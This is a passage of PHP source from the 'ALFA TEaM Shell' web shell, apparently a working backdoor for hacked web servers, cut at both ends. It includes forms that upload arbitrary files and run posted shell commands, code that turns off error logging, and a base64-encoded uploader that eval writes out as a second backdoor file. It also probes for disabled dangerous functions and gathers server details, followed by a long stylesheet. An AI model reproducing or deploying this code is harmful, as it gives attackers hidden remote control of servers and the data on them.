echo "<hr><center><form onSubmit=\"this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));\" action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">";
echo 'CWD: <input type="text" name="cwd" value="' . str_replace("\\", "/", @alfaGetCwd()) . '/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>';
if (isset($_FILES['file'])) {
if (@move_uploaded_file($_FILES['file']['tmp_name'], __ZGVjb2Rlcg(@$_POST['cwd']) . '/' . $_FILES['file']['name'])) {
echo "<b><font color=\"#7CFC00\"><center>Upload Successfully ;)</font></a><font color=\"#7CFC00\"></b><br><br></center>";
} else {
echo "<center><b><font color=\"#7CFC00\">Upload failed :(</font></a><font color=\"#7CFC0\"></b></center><br><br>";
}
}
echo "<hr><form onSubmit=\"this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));\" method=\"POST\">Execute Command: <input name=\"command_solevisible\" value=\"\" size=\"59\" type=\"text\" align=\"left\" ><input name=\"execute\" value=\"Execute\" type=\"submit\"><br></form>\r\n<hr><pre>";
if (isset($_POST['command_solevisible'])) {
if (strtolower("PHP") == "win") {
$separator = '&';
} else {
$separator = ';';
}
$solevisible = "cd '" . addslashes(str_replace("\\", "/", @alfaGetCwd())) . "'" . $separator . "" . __ZGVjb2Rlcg($_POST['command_solevisible']);
echo alfaEx($solevisible);
}
echo "</pre>\r\n</body></html>";
exit;
}
@error_reporting("\x00\x00\x0f\x03\x18");
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
if (function_exists('set_magic_quotes_runtime')) {
@set_magic_quotes_runtime(0);
}
foreach ($_POST as $key => $value) {
if (is_array($_POST[$key])) {
$i = 0;
foreach ($_POST[$key] as $f) {
$f = trim(str_replace(' ', '+', $f));
$_POST[$key][$i] = decrypt_post($f);
$i++;
}
} else {
$value = trim(str_replace(' ', '+', $value));
$_POST[$key] = decrypt_post($value);
}
}
$default_action = 'FilesMan2';
//'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (strtolower("PHP") == "win") {
$GLOBALS['sys'] = 'win';
} else {
$GLOBALS['sys'] = 'unix';
}
$GLOBALS['home_cwd'] = @alfaGetCwd();
$GLOBALS["need_to_update_header"] = "false";
$GLOBALS['glob_chdir_false'] = false;
if (isset($_POST['c'])) {
if (!@chdir($_POST['c'])) {
$GLOBALS['glob_chdir_false'] = true;
}
}
$GLOBALS['cwd'] = isset($_POST['c']) && @is_dir($_POST['c']) ? $_POST['c'] : @alfaGetCwd();
if ($GLOBALS['glob_chdir_false']) {
$GLOBALS['cwd'] = isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : @alfaGetCwd();
}
if ($GLOBALS['sys'] == 'win') {
$GLOBALS['home_cwd'] = str_replace("\\", "/", $GLOBALS['home_cwd']);
$GLOBALS['cwd'] = str_replace("\\", "/", $GLOBALS['cwd']);
}
if ($GLOBALS['cwd'][strlen($GLOBALS['cwd']) - 1] != '/') {
$GLOBALS['cwd'] .= '/';
}
if (!function_exists('sys_get_temp_dir')) {
function sys_get_temp_dir()
{
foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {
if ($temp = getenv($env_var)) {
return $temp;
}
}
$temp = tempnam($GLOBALS['__file_path'], '');
if (_alfa_file_exists($temp, false)) {
unlink($temp);
return dirname($temp);
}
return null;
}
}
if (!function_exists("mb_strlen")) {
function mb_strlen($str, $c = "")
{
return strlen($str);
}
}
if (!function_exists("mb_substr")) {
function mb_substr($str, $start, $end, $c = "")
{
return substr($str, $start, $end);
}
}
define("ALFA_TEMPDIR", function_exists("sys_get_temp_dir") ? @is_writable(str_replace('\\', '/', sys_get_temp_dir())) ? sys_get_temp_dir() : (@is_writable('.') ? '.' : false) : false);
function alfahead()
{
$GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+';
$alfa_uploader = "\$x = base64_decode(\"PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+\");\$solevisible = fopen(\"solevisible.php\",\"w\");fwrite(\$solevisible,\$x);";
define("ALFA_UPLOADER", "eval(base64_decode('" . __ZW5jb2Rlcg($alfa_uploader) . "'))");
if (!isset($_POST['ajax'])) {
function Alfa_GetDisable_Function()
{
$disfun = @ini_get('disable_functions');
$afa = '<span class="header_show_all">All Functions Accessible</span>';
if (empty($disfun)) {
return "<span class=\"header_show_all\">All Functions Accessible</span>";
}
$s = explode(',', $disfun);
$s = array_unique($s);
$i = 0;
$b = 0;
$func = array('system', 'exec', 'shell_exec', 'proc_open', 'popen', 'passthru', 'symlink', 'dl');
$black_list = array();
$allow_list = array();
foreach ($s as $d) {
$d = trim($d);
if (empty($d) || !is_callable($d)) {
continue;
}
if (!function_exists($d)) {
if (in_array($d, $func)) {
$dis .= $d . " | ";
$b++;
$black_list[] = $d;
} else {
$allow_list[] = $d;
}
$i++;
}
}
if ($i == 0) {
return $afa;
}
if ($i <= count($func)) {
$all = array_values(array_merge($black_list, $allow_list));
return '<span class="disable_functions">' . implode(" | ", $all) . '</span>';
}
return '<span class="disable_functions">' . $dis . '</span><a id="menu_opt_GetDisFunc" href=javascript:void(0) onclick="alfa_can_add_opt = true;g(\'GetDisFunc\',null,\'wp\');"><span class="header_show_all">Show All (' . $i . ')</span></a>';
}
function AlfaNum()
{
$args = func_get_args();
$alfax = array();
$find = array();
for ($i = 1; $i <= 10; $i++) {
$alfax[] = $i;
}
foreach ($args as $arg) {
$find[] = $arg;
}
echo "<script>";
foreach ($alfax as $alfa) {
if (in_array($alfa, $find)) {
continue;
}
echo 'alfa' . $alfa . "_=";
}
echo "\"\"</script>";
}
if (empty($_POST['charset'])) {
$_POST['charset'] = $GLOBALS['default_charset'];
}
$freeSpace = function_exists('diskfreespace') ? @diskfreespace($GLOBALS['cwd']) : '?';
$totalSpace = function_exists('disk_total_space') ? @disk_total_space($GLOBALS['cwd']) : '?';
$totalSpace = $totalSpace ? $totalSpace : 1;
$on = "<span class='header_on'> ON </span>";
$of = "<span class='header_off'> OFF </span>";
$none = "<span class='header_none'> NONE </span>";
if (function_exists('ssh2_connect')) {
$ssh2 = $on;
} else {
$ssh2 = $of;
}
if (function_exists('curl_version')) {
$curl = $on;
} else {
$curl = $of;
}
if (function_exists('mysql_get_client_info') || class_exists('mysqli')) {
$mysql = $on;
} else {
$mysql = $of;
}
if (function_exists('mssql_connect')) {
$mssql = $on;
} else {
$mssql = $of;
}
if (function_exists('pg_connect')) {
$pg = $on;
} else {
$pg = $of;
}
if (function_exists('oci_connect')) {
$or = $on;
} else {
$or = $of;
}
if (@ini_get('disable_functions')) {
$disfun = @ini_get('disable_functions');
} else {
$disfun = "All Functions Enable";
}
if (@ini_get('safe_mode')) {
$safe_modes = "<span class='header_off'>ON</span>";
} else {
$safe_modes = "<span class='header_on'>OFF</span>";
}
$cgi_shell = "<span class='header_off' id='header_cgishell'>OFF</span>";
if (@ini_get('open_basedir')) {
$basedir_data = @ini_get('open_basedir');
if (strlen($basedir_data) > 120) {
$open_b = substr($basedir_data, 0, 120) . "...";
} else {
$open_b = $basedir_data;
}
} else {
$open_b = $none;
}
if (@ini_get('safe_mode_exec_dir')) {
$safe_exe = @ini_get('safe_mode_exec_dir');
} else {
$safe_exe = $none;
}
if (@ini_get('safe_mode_include_dir')) {
$safe_include = @ini_get('safe_mode_include_dir');
} else {
$safe_include = $none;
}
if (!function_exists('posix_getegid')) {
$user = function_exists("get_current_user") ? @get_current_user() : "????";
$uid = function_exists("getmyuid") ? @getmyuid() : "????";
$gid = function_exists("getmygid") ? @getmygid() : "????";
$group = "?";
} else {
$uid = function_exists("posix_getpwuid") && function_exists("posix_geteuid") ? @posix_getpwuid(posix_geteuid()) : array("name" => "????", "uid" => "????");
$gid = function_exists("posix_getgrgid") && function_exists("posix_getegid") ? @posix_getgrgid(posix_getegid()) : array("name" => "????", "gid" => "????");
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n = count($path);
for ($i = 0; $i < $n - 1; $i++) {
$cwd_links .= "<a class='header_pwd' onclick='g(\"FilesMan\",\"";
$cach_cwd_path = "";
for ($j = 0; $j <= $i; $j++) {
$cwd_links .= $path[$j] . '/';
$cach_cwd_path .= $path[$j] . '/';
}
$cwd_links .= "\")' path='" . $cach_cwd_path . "' href='#action=fileman&path=" . $cach_cwd_path . "'>" . $path[$i] . "/</a>";
}
$drives = "";
foreach (range('a', 'z') as $drive) {
if (@is_dir($drive . ':\\')) {
$drives .= '<a href="javascript:void(0);" class="header_drive" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
}
}
$csscode = ' -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;';
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
<link href="' . __showicon('alfamini') . '" rel="icon" type="image/x-icon"/>
<title>..:: ' . $_SERVER['HTTP_HOST'] . ' ~ ALFA TEaM Shell - v' . __ALFA_VERSION__ . '-' . __ALFA_CODE_NAME__ . ' ::..</title>
<style type="text/css">';
?>
.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes 